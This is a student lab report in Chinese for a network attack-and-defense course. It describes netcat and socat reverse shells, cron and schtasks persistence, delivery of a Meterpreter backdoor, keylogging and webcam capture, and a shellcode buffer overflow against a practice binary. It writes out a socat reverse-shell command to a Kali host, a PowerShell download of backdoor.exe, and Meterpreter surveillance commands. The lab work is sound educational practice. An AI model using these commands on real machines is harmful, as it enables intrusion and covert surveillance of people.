20242405 2026-2027-1 《网络与系统攻防技术》实验2实验报告

20242405 2026-2027-1 《网络与系统攻防技术》实验2实验报告

1. 基础知识\

本次实验主要围绕网络渗透中的后门植入、系统持久化以及漏洞利用展开。首先掌握了基于反弹连接原理的基础后门技术,利用Netcat和Socat在目标主机与Kali之间建立TCP交互通道;其次学习了操作系统的持久化机制,通过Linux的Cron定时任务与Windows的schtasks计划任务实现后门的自动化触发;接着深入使用了Metasploit框架,利用msfvenom生成Meterpreter木马并配合multi/handler接收会话,掌握了利用Meterpreter进行系统提权、键盘记录及获取摄像头权限等高级控制操作;最后结合二进制安全基础知识,理解了x86架构下的栈帧结构和小端序存储模式,并成功将MSF生成的二进制Shellcode注入到存在缓冲区溢出漏洞的pwn1程序中,通过GDB调试精准覆盖返回地址并构建NOP滑行区,最终实现了反弹Shell的获取。

  • 2.实验内容\

    (1)使用netcat获取主机操作Shell,cron启动某项任务
  • (2)使用socat获取主机操作Shell, 任务计划启动。
  • (3)使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

  • (4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

  • (5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

  • 3.实验过程

  • 任务一:

  • 在kali中下载好netcat与socat,然后启动监听端口4444,windows手动连接

  • 71458dd1ce3d487f2306d6addf582240{width="3.7604166666666665in"
    height="2.1770833333333335in"}

  • 1572a101fda7ea366179e4061ef5279f{width="5.766666666666667in"
    height="1.8243055555555556in"}

  • 接下来设置任务定时获取shell

  • ffad72a94a6f09abfec089dba32c1a37{width="5.759027777777778in"
    height="0.5201388888888889in"}

  • 912ba316f138fd49c2b209ecf74fdab9{width="2.841666666666667in"
    height="2.125in"}

  • 成功的定时获取的shell

  • 任务二:

  • Socat的操作方式与netcat类似,但windows的连接较为复杂,详见问题-解答板块。

  • 549fe5aea5ee1278bfb9b2830d8eae46{width="2.9833333333333334in"
    height="1.7916666666666667in"}

  • efcefbaced3ff1c25a2b9cad5ea8bf36{width="5.767361111111111in"
    height="0.5569444444444445in"}

  • 任务三,四:

  • 首先在kali生成后门,然后开放端口下载,windows通过端口下载后门文件到主机。

  • 2847229093f4e921796c098fe5c8492e{width="5.757638888888889in"
    height="1.4208333333333334in"}

  • 在kali中设置参数,运行后门,得到meterpreter > 会话

  • fa60162f2e39db251a5f7500b0bdcef4{width="5.441666666666666in"
    height="4.35in"}

    获得 meterpreter > 会话后,便可以执行:

    键盘记录:keyscan_start -> -> keyscan_dump -> keyscan_stop

    摄像头:webcam_list -> webcam_snap

    录音:record_mic

  • 截屏:screenshot

  • 提权:getsystem

  • ae02dcabdbc729a034caf85d01402f4a{width="5.763888888888889in"
    height="2.448611111111111in"}

  • 913589bd5b87fcb7bb9eed943ad3ea65{width="5.763888888888889in"
    height="2.9694444444444446in"}

  • 摄像头拍摄的照片(摆拍)

  • ab6d84f82ce07357aecc29ab898d732b{width="5.391666666666667in"
    height="4.266666666666667in"}

  • 截图中可以看到提权成功

  • 任务五:

  • 因为 MSF 生成的 Shellcode
    长度和内容不同,必须重新计算偏移量和内存地址。

  • 首先关闭ASLR,然后生成无坏字符的shellcode,接着生成调试payload并配合gdb找地址。

  • b1d94e843218bf4d102f7a98ee54a2ff{width="5.175in"
    height="3.2583333333333333in"}

  • eb0f89da0a3b689f498bb9fd874ce15a{width="5.766666666666667in"
    height="2.1625in"}

  • e93257c8ae6c721c0e84b48064d58e86{width="5.761805555555555in"
    height="4.034722222222222in"}

  • 63d60b0e7742975a6e52ba4d652ca25f{width="5.763194444444444in"
    height="3.347916666666667in"}

  • 找到地址0xffffcfd0后,生成最终的payload,并实施攻击。

  • 76432db12c55ccb3c2dfdda7cccedece{width="5.7625in"
    height="2.9034722222222222in"}

  • daaff50386d5033077e8912b76589ccf{width="4.052083333333333in"
    height="1.5104166666666667in"}\

    4.问题及解决方案\

    - 问题1:在Windows靶机执行 socat.exe tcp-connect:192.168.84.131:5555 exec:cmd.exe,pty,stderr 时,终端报错 execvp("cmd.exe"): No such file or directory;随后尝试使用绝对C:\Windows\System32\cmd.exe,又报错 wrong number of parameters (2 instead of 1)

  • - 问题1解决方案:Socat在Windows下由于底层环境限制,其 EXEC参数不会像系统Shell那样自动检索 PATH 环境变量,因此找不到相对路径的cmd.exe;同时,如果直接传入带有冒号 : 和逗号 ,的绝对路径,Socat会将其误解析为参数分隔符,导致语法错误。此外,使用pty,stderr 在Windows下无法正确分配伪终端。改用Windows环境下专用的命名管道参数pipes,并使用Cygwin格式的挂载路径来规避转义问题。最终在靶机执行socat.exe tcp-connect:192.168.84.131:5555 EXEC:/cygdrive/c/Windows/System32/cmd.exe,pipes,成功建立稳定的反弹Shell连接。
    - 问题2:在靶机使用 (New-Object System.Net.WebClient).DownloadFile(...) 下载Kali上的 backdoor.exe时,报错 WebException,导致随后的 Start-Process命令因找不到指定文件而失败
    - 问题2解决方案:Windows PowerShell默认启用较低版本的传输层安全协议(如 TLS 1.0),在向Kali的PythonHTTP服务器发起请求时,由于协议不匹配或安全策略限制导致连接被拒绝或中断。在下载前,先通过命令 [Net.ServicePointManager]::SecurityProtocol =[Net.SecurityProtocolType]::Tls12 强制使用TLS1.2协议,并放弃使用老旧的 WebClient 类,改用更为现代且稳定的Invoke-WebRequest -Uri "http://192.168.84.131:8080/backdoor.exe" -OutFile "C:\Temp\backdoor.exe"命令,最终成功将木马文件下载至靶机并执行

  • -
    问题3:在在任务5中,使用GDB成功定位了NOP滑行区的真实地址并构造了反弹Payload注入pwn1,但程序依然直接报 Segmentation fault,未能建立反弹连接。

- 问题3解决方案:MSF (msfvenom) 默认生成的原始Shellcode中包含了空字节\x00 以及换行符 \x0d 等。pwn1 的漏洞触发点是 gets()函数,该函数在读取输入时一旦遇到 \x00就会认为字符串提前结束,从而截断了后续的Shellcode,导致内存栈中的Payload不完整,EIP跳转到了无效的地址空间。因此在msfvenom 生成Shellcode时,显式添加 -b '\x00\x0a\x0d' 参数(Bad Characters过滤),让框架自动生成剔除了坏字符的等效Shellcode。将其重新拼接至Payload后注入,成功绕过了gets 的截断问题,顺利获取反弹Shell。

  • 5.学习感悟、思考等\

    本次实验中,出现了很多棘手的问题,其解决方案可能与实验本身无关,通过解决这些问题,提升了对于计算机本身的理解。
posted @ 2026-10-18 18:58  gchhghfgt  阅读(4)  评论(0)    收藏  举报